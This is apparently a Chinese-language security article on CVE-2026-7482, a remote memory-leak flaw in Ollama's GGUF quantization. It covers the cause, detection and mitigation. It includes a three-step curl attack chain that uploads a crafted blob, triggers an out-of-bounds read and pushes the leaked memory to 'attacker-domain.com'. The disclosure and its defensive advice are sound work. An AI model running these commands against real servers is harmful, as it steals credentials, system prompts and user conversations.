CVE-2026-7482 "Bleeding Llama"：Ollama关键内存泄漏漏洞影响全球30万AI服务器
Ollama是最流行的本地大模型部署平台，但其GGUF模型加载器存在堆内存越界读取漏洞。攻击者无需认证，仅需3次HTTP API调用即可窃取服务器全部运行内存——包括API密钥、系统提示词、用户对话和云凭证。CVSS评分9.1，全球约30万台服务器暴露在公网。
漏洞概述：3次API调用，零痕迹窃取全部内存
2026年2月2日，Cyera安全研究员Dor Attias向Ollama项目报告了一个严重漏洞。经过近3个月的协调披露流程，该漏洞于2026年5月被分配CVE编号CVE-2026-7482，Cyera将其命名为"Bleeding Llama"（出血羊驼）。
这个漏洞的核心问题在于Ollama处理GGUF模型文件时的内存管理缺陷。GGUF（GPT-Generated Unified Format）是Ollama用于存储AI模型的文件格式，其中包含张量数据（模型权重的大规模数值数组）以及描述每个张量大小和形状的元数据。当用户通过/api/create接口上传自定义GGUF文件并触发量化（quantization）操作时，Ollama根据GGUF元数据中声明的张量大小来读取内存——而非实际文件大小。
攻击者可以创建一个仅有几KB的微型GGUF文件，但在元数据中将张量形状声明为极大值（例如100万元素）。当Ollama执行量化时，它会按照声明的大小持续读取内存，实际文件数据在几KB后就已结束，但Ollama继续读取——直接进入堆内存。堆内存中存储着运行时的所有敏感数据：环境变量中的API密钥和云凭证、配置的系统提示词、正在进行的用户对话、从.env文件加载的密钥。这些数据全部被读入输出缓冲区，嵌入到生成的"模型"产物中。
整个攻击过程不会触发任何错误、崩溃或日志记录。攻击者随后使用/api/push将包含窃取数据的"模型"推送到自己控制的域名，完成数据外泄。从攻击者视角看，整个过程无声无息。
技术深度分析：Go语言unsafe包的致命隐患
漏洞的核心代码位于Ollama的fs/ggml/gguf.go和server/quantization.go文件中的WriteTo()函数。该函数使用Go语言的unsafe包来绕过内存安全保证，直接操作底层内存。
Go语言以其内存安全特性著称——垃圾回收、边界检查、类型安全。但unsafe包允许开发者绕过这些保护机制，直接操作指针和内存地址。Ollama在量化过程中使用unsafe是为了性能优化——模型文件动辄数GB，通过unsafe可以避免额外的内存拷贝。但这种性能优化的代价是：当输入数据不可信时，失去了所有的安全兜底。
具体漏洞触发路径如下：
- 攻击者上传恶意GGUF文件到
/api/blobs/sha256:<digest>（简单的HTTP PUT请求，无需认证） - 攻击者调用
/api/create，设置quantize参数引用已上传的blob - Ollama解析GGUF文件，读取元数据中声明的张量形状（例如100万元素）
WriteTo()函数使用unsafe指针按声明大小读取内存- 实际文件数据仅几KB，读取越界后直接进入进程堆内存
- 堆内存中的敏感数据（API密钥、环境变量、用户对话等）被读入输出缓冲区
- 攻击者通过
/api/push将包含窃取数据的"模型"外传
关键问题在于：Ollama的上游发行版默认不对API端点进行认证。这意味着任何能访问Ollama端口（默认11434）的人都可以执行上述攻击链。
受影响版本与修复方案对比
| 维度 | 详情 |
|---|---|
| CVE编号 | CVE-2026-7482 |
| CVSS评分 | 9.1（Critical） |
| 漏洞类型 | 堆内存越界读取（Out-of-Bounds Read） |
| 攻击向量 | 网络远程，无需认证 |
| 攻击复杂度 | 低（3次HTTP调用） |
| 影响范围 | 所有未打补丁的Ollama版本 |
| 暴露服务器数 | 约30万台（公网可达） |
| 发现者 | Dor Attias（Cyera） |
| 报告日期 | 2026年2月2日 |
| 修复版本 | Ollama最新版（已修补WriteTo()边界检查） |
| 临时缓解 | 限制Ollama API端口仅本地访问（OLLAMA_HOST=127.0.0.1:11434） |
三步攻击链详解
第一步：上传恶意Blob
# 创建微型GGUF文件，元数据中声明巨大张量
curl -X PUT http://target:11434/api/blobs/sha256:fake_digest \
--data-binary @malicious.gguf
这是一个简单的HTTP PUT请求。Ollama的/api/blobs端点默认无认证，接受任何有效的SHA256摘要格式。攻击者甚至不需要提供真实的SHA256校验值——在某些版本中，服务端仅验证格式而非实际内容。
第二步：触发量化读取
curl -X POST http://target:11434/api/create \
-d '{"name": "attacker/model", "quantize": "q4_0", "files": {"model.gguf": "sha256:fake_digest"}}'
此步骤触发Ollama的量化流程。WriteTo()函数根据GGUF元数据声明的张量形状读取内存，实际文件数据远小于声明大小，导致越界读取进入堆内存。环境变量、API密钥、系统提示词、用户对话等敏感数据全部被读入输出缓冲区。
第三步：外传窃取数据
curl -X POST http://target:11434/api/push \
-d '{"name": "attacker-domain.com/model", "insecure": true}'
Ollama的/api/push功能会将"模型"数据发送到指定域名。由于上一步已经将堆内存中的敏感数据嵌入了"模型"产物，这一步等同于数据外泄。insecure参数允许HTTP（非HTTPS）传输，进一步降低了攻击门槛。
检测与应急响应
检测是否受影响：
# 检查Ollama是否监听公网
ss -tlnp | grep 11434
# 如果输出显示0.0.0.0:11434或:::11434，则暴露在公网
# 安全配置应为127.0.0.1:11434
# 检查Ollama版本
ollama --version
# 检查是否有异常模型（可能是攻击者创建的）
ollama list | grep -v "^NAME"
应急响应步骤：
# 1. 立即限制Ollama仅本地访问
export OLLAMA_HOST=127.0.0.1:11434
systemctl restart ollama
# 2. 或通过防火墙封锁外部访问
sudo iptables -A INPUT -p tcp --dport 11434 -j DROP
sudo iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT
# 3. 更新到最新版本
curl -fsSL https://ollama.com/install.sh | sh
# 4. 轮换所有可能泄露的凭证
# - 云平台API密钥（AWS、Azure、GCP）
# - AI服务API密钥（OpenAI、Anthropic等）
# - 数据库密码
# - 环境变量中的所有密钥
对AI基础设施安全的深远影响
Bleeding Llama暴露了一个被行业长期忽视的问题：AI推理基础设施的安全性严重滞后于其部署速度。
Ollama的流行源于其"零配置、开箱即用"的设计哲学——下载、运行、API调用，三步即可在本地部署大模型。但这种便利性是以牺牲安全性为代价的：默认无认证的API端点、使用unsafe包的性能优化、缺乏输入验证的模型加载流程。
Shodan搜索数据显示，全球约30万台Ollama实例暴露在公网。这些服务器中相当一部分运行在云服务器上，环境变量中存储着AWS Access Key、Azure Service Principal、数据库连接字符串等高价值目标。攻击者通过Bleeding Llama获取的不仅是AI模型数据，而是整个服务器的运行时内存——这是一个完整的凭证金矿。
此次事件也凸显了"AI供应链"安全的脆弱性。从模型文件格式（GGUF）到推理引擎（Ollama），每一层都可能成为攻击面。随着企业和个人越来越多地在本地部署AI模型，推理平台的安全性必须达到与数据库、Web服务器同等的重视程度。
同类漏洞对比
| 漏洞 | 产品 | 类型 | CVSS | 认证要求 | 影响 |
|---|---|---|---|---|---|
| CVE-2026-7482 | Ollama | 堆内存越界读 | 9.1 | 无需认证 | 30万服务器 |
| CVE-2024-39720 | Ollama | 路径遍历 | 7.5 | 无需认证 | 模型文件读取 |
| CVE-2024-39722 | Ollama | DoS | 7.5 | 无需认证 | 服务拒绝 |
| Heartbleed (2014) | OpenSSL | 内存越界读 | 7.5 | 无需认证 | 全球HTTPS服务器 |
| CVE-2021-44228 | Log4Shell | RCE | 10.0 | 无需认证 | 数百万Java应用 |
Bleeding Llama与2014年的Heartbleed在攻击模式上高度相似——都是通过越界读取泄露进程内存，且都无需认证。区别在于Heartbleed影响的是HTTPS基础设施，而Bleeding Llama影响的是AI推理基础设施。两者都暴露了一个共同问题：性能优化与安全性的权衡中，安全性被牺牲了。
数据来源与参考文献
- Cyera Research. "Bleeding Llama: Critical Unauthenticated Memory Leak in Ollama." cyera.com, 2026.
- VxLabs. "Bleeding Llama (CVE-2026-7482): Critical Ollama Vulnerability Leaks Your Entire Server Memory." vxlabs.in, May 13, 2026.
- Akto Security. "Bleeding Llama: 300K Servers at Risk and How to Respond." akto.io, 2026.
- Grabify Security. "Bleeding Llama: Critical Ollama Out-of-Bounds Read Vulnerability." grabify.org, 2026.
- OraCore. "Ollama flaw can leak process memory remotely." oracore.dev, 2026.
- NVD (National Vulnerability Database). "CVE-2026-7482." nvd.nist.gov, 2026.
更新时间：2026-06-25
评论